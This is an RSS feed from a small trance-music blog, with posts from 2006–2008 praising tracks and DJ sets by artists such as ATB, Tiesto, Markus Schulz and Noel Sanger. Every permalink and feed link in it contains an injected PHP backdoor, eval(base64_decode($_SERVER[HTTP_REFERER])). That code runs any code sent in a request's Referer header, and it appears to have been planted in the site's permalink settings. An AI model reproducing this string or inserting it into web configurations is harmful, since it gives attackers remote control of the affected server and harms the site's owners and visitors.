freshtunes.ca » Trance http://freshtunes.ca feed your head Mon, 19 Jan 2009 23:35:49 +0000 http://wordpress.org/?v=2.9.1 en hourly 1 Steven Force – Mirada http://freshtunes.ca/2008/08/04/steven-force-mirada/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://freshtunes.ca/2008/08/04/steven-force-mirada/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Mon, 04 Aug 2008 08:24:36 +0000 Rupert http://freshtunes.ca/?p=69 Wow. Unbelievably k-rad. Steven Force drops some beautiful, melodic, haunting trance with crisp production values. From the aptly named Italian label, Emotive Vibes.

Steven Force – Mirada
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]]> http://freshtunes.ca/2008/08/04/steven-force-mirada/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 ATB – Beautiful Worlds http://freshtunes.ca/2007/11/29/atb-beautiful-worlds/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://freshtunes.ca/2007/11/29/atb-beautiful-worlds/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Thu, 29 Nov 2007 23:18:42 +0000 Rupert http://www.freshtunes.ca/2007/11/29/atb-beautiful-worlds/ ATB knocks it out of the park with this one.

ATB – Beautiful Worlds
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]]> http://freshtunes.ca/2007/11/29/atb-beautiful-worlds/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Tiesto – Battleship Grey http://freshtunes.ca/2007/11/27/tiesto-battleship-grey/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://freshtunes.ca/2007/11/27/tiesto-battleship-grey/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 27 Nov 2007 20:57:54 +0000 Rupert http://www.freshtunes.ca/2007/11/27/tiesto-battleship-grey/ Tiesto – Battleship Grey
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Fernando Ferreyra – Deep Ocean (Mariano Favre mix)
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Best name ever?

Sunburnt Octopus – Cafe Metrio
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]]> http://freshtunes.ca/2007/11/23/trancey-housers/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Markus Schulz – Travelling Light http://freshtunes.ca/2007/11/16/markus-shulz-travelling-light/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://freshtunes.ca/2007/11/16/markus-shulz-travelling-light/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 17 Nov 2007 07:02:47 +0000 Rupert http://www.freshtunes.ca/2007/11/16/markus-shulz-travelling-light/ Markus Schulz – Travelling Light feat Anita Kelsey
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]]> http://freshtunes.ca/2007/11/16/markus-shulz-travelling-light/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Ajello – Amore Alieno (Cagedbaby mix) http://freshtunes.ca/2007/11/12/ajello-amore-alieno-cagedbaby-mix/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://freshtunes.ca/2007/11/12/ajello-amore-alieno-cagedbaby-mix/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 13 Nov 2007 04:22:52 +0000 Rupert http://www.freshtunes.ca/2007/11/12/ajello-amore-alieno-cagedbaby-mix/ Ajello – Amore Alieno (Cagedbaby mix)
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Get this track from Beatport.com ]]> http://freshtunes.ca/2007/11/12/ajello-amore-alieno-cagedbaby-mix/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Markus Schulz = top notch trance http://freshtunes.ca/2006/07/01/marjus-schulz-top-notch-trance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://freshtunes.ca/2006/07/01/marjus-schulz-top-notch-trance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sat, 01 Jul 2006 10:59:52 +0000 Rupert http://www.freshtunes.ca/2006/07/01/marjus-schulz-top-notch-trance/ I first heard Clear Blue in a beautiful Lemon8 proggy house/trance set found here. On a good stereo it really grabs you. It was one of my favorite tracks on that set, and I was constantly skipping back and forth to hear it. I’ve found it at Beatport, and can hear this mammoth, 12:00 progger any time. It’s kinda hard to find 2 representative minutes of a 12 minute monster.

Markus Schulz – Somewhere (Clear Blue)
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In a more trancy and less proggy vein, I also found this beautiful cheesy trance track while I was searching for Clear Blue. Very catchy, and top notch production values. If you dig trance, you’ll dig this, cheesy lyrics and all. Mmmm… candy!

Markus Schulz – You Won’t See Me Cry 2005
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I can’t decide which of these is doper; I’ll leave that to you.

Above & Beyond generally do what I call sacharrine-cheese trance, which is a little too over-the-top cheesy for me (think vocal trance, and lots of it!). But Tri-State is freakin’ awesome… Make sure you’re chewing gum when you hear this, we don’t want you to grind your teeth flat… ;)

Above and Beyond – Tri-State
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This next song is aptly named Ambience, by Michael Burns. MB has some other fresh tracks under his belt, but we’ll get to that some other day. For now, feast your ears:

Michael Burns – Ambience
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If you’d like to chime in on which track is even doper than the other one, leave a comment below or drop me a line. I’m also always on the look-out for more great material, not that I’m running out of fresh tunes any time soon, so if you have any suggestions, get in touch.

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My all-time favorite from this label is Central Rush’s Out Of Focus (Tkac and Haverlik remix). One word: WOW. A beautiful, rich, vibrant and enveloping 3 dimensional soundspace surrounds you, disorienting you while tweaked female vocals repeat the drugginess-inspired title of the song. The proggy freshness builds, slowly, into more and more intense, tighter circles of sound around you. What was merely beautiful starts to become vaguely menacing. This song gives me E flashbacks in a big way.

This track will make the hair on your neck stand up. This is a MUST HAVE.

Central Rush – Out Of Focus (Tkac & Haverlik Mix)
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Speaking of druggy proggy trance tracks, this next one will make your teeth rattle with its pounding, merciless, metallic punctuating drones, while freaky male vocals urge you to leave your law-breaking raver friends and find a Safer Place without them. Mind-numblingly hypnotic, and anxiety inducing, you will love this track’s druggy feel… it’s only a matter of time.

Macroscopia – Safer Place (Majority Mix)
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]]> http://freshtunes.ca/2006/06/19/method-the-freshest-progressive-label-ever/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 Alfa: Sorella = dope trance http://freshtunes.ca/2006/06/18/alfa-sorella-dope-trance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://freshtunes.ca/2006/06/18/alfa-sorella-dope-trance/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 18 Jun 2006 08:06:36 +0000 Rupert http://www.freshtunes.ca/2006/06/18/alfa-sorella-dope-trance/ Alfa’s track Sorella is the best freakin’ trance I’ve heard in a long time. It harkens back to Vangelis’ soundtrack to the seminal Sci-Fi classic, Bladerunner, which happens to be one of my favorite movies of all time. Alfa produces an emotive, beautiful soundscape that falls out from under you as it reaches its peak. The other great thing about this track (I bought both mixes, and still can’t decide which I like more) is that the sounds used to construct it are fresh and not the usual caustic, saccharine cheese candy raver shit I hear all the time. This music has an uncommon depth and sophistication not often found in trance music.

The first sample below is a little longer than usual… it would be cruel of me to crop it at the 2:00 mark…

Alfa – Sorella
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Alfa – Sorella – Version 2
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But his fantastic live sets are!

Here is one of my favorites… the first half is solid gold, a blend of progressive house and trance.

Lemon8 – live at the Kristal Club, Bucharest, 2004
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Also, check out his excellent productions available at Beatport.com

]]> http://freshtunes.ca/2006/05/09/lemon8-progressive-goodness/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 0 5-star Progressive Breaks tracks http://freshtunes.ca/2006/05/09/5-star-progressive-breaks-tracks/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://freshtunes.ca/2006/05/09/5-star-progressive-breaks-tracks/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 09 May 2006 22:06:53 +0000 Rupert http://www.freshtunes.ca/2006/05/09/5-star-progressive-breaks-tracks/ Cold, clean, synthetic beauty: the track Designs (dirty mix) is the epitome of the progressive, trancey breaks genre. Designs is one of my all time favorite tracks by anyone, and I heartily recommend it. Proggy Breaks doesn’t get any better than this.

Noel Sanger – Designs (dirty mix)
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Next up is Stefan Anion and Blake Potter’s remix of Nutrition’s track, Skyline Dreamer. This track is beautiful, chilled, glittering progressive breaks with a strong trance flavor. Dope. Like Noel Sanger’s Designs, in can be found in Noel’s Electrofly mix on Hybridized.org.

Nutrition – Skyline Dreamer (Blake Potter and Stefan Anion Scaling remix)
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]]> http://freshtunes.ca/2006/05/09/5-star-progressive-breaks-tracks/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ 1 Noel Sanger: profound progressive breaks/trance sets http://freshtunes.ca/2006/05/09/noel-sanger-profound-progressive-breaks/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://freshtunes.ca/2006/05/09/noel-sanger-profound-progressive-breaks/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Tue, 09 May 2006 20:58:36 +0000 Rupert http://www.freshtunes.ca/2006/05/09/noel-sanger-profound-progressive-breaks/ I first heard Noel Sanger spinning on proton radio a few years back, on a segment sponsored by Electrofly records. The set was extraordinary, but unfortunately I only caught the last 45 minutes of pure gold. I emailed Noel, asking him for a copy of the set, and he informed me it would be up on Hybridized.org soon enough. Indeed it was! Thanks, Noel.

Noel Sanger – Electrofly mix
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Also from Hybridized.org is another great set Noel, from Global DJ Broadcast 2004. It’s well worth checking out.

Noel Sanger – Global DJ Broadcast
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